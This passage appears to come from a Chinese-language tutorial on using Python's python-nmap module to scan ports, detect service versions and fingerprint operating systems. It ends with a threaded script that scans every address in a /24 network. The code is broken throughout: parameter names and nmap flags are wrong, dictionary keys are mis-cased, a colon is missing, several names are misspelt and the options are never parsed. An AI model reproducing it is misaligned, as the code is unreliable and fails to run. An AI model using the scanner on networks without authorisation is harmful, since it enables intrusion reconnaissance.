选项,探测目标主机的操作系统类型等信息;-A
选项,同时启动系统探测,端口扫描,应用程序版本探测。
最新的nmap除了能识别出操作系统之外,还能识别出手机、路由器、交换机等网络设备,共收集了近1500个指纹。
通过nmap模块,可以在python脚本中直接使用nmap的全部功能。
安装:pip install python-nmap
import nmap
nm = nmap.PortScanner()
help(nm)
result = nm.scan(host='192.168.1.1',argument='-sv')#相当于执行了nmap -sV
import pprint#python 里面的标准库,专门实现这种标准化输出的。
pprint.pprint(result)
#加入我们就想要某一个服务的版本号version是多少,怎么取出来?,这就涉及到一个字典的操作了。可以一级一级推导的方式拿出来。
result["scan"]
result["scan"]["192.168.1.1"]
result["scan"]["192.168.1.1"]["TCP"][21]["version"]
#返回想要的信息了
nmap模块识别服务
进行服务的识别:
result = nm.scan(host='192.168.1.1',arguments='-sV')
只针对特定的服务进行识别:[加上了ports参数]
result = nm.scan(host='192.168.1.1',ports='21',arguments='-sV')
获取服务版本信息:
result["scan"]["192.168.1.1"]["TCP"][21]["version"]
获取服务端口的状态:
result = nm.scan(host='192.168.1.1',ports='21,445,3389',arguments='-sS')
result["scan"]["192.168.1.1"]["TCP"][21]["state"]
操作系统的识别脚本
import nmap
from optparse import OptionParser
from threading import Thread
import sys
import time
def osscan(ip):
nm = nmap.PortScanner()
try:
results = nm.scan(hosts=ip,arguments='-o')
os=results['scan'][ip]['osmatch'][0]['name']#[0]是因为中间有一段是list
time.sleep(0.1)
print ip, os
except:
pass
def main()
parser=OptionParser('usage: %prog -i <target host> -n <network>')
paeser.add_option('-i',type='string',dest='tgtIP',help="specify target host")
paeser.add_option('-n',type='string',dest='tgtNetwork',help="specify target Network")
tgtIP = options.tgtIP
tgtNetwork = options.tgtNetwork
if (tgtIP==None and tgtNetwork==None):
print parser.usage
sys.exit()
if tgtIP:
ip = str(tgtIP).srtip()
osscan(ip)
if tgtNetwork:
prefix = tgtNetwork.split('.')[0]+'.'+tgtNetwork.split('.')[1]+'.'+tgtNetwork.split('.')[2]+'.'
for i in range(1,255):
ip = prefix + str(i)
t = Thread(target=osscan,atgs=(ip,))
t.start()
if __name__ == "__main__":
main()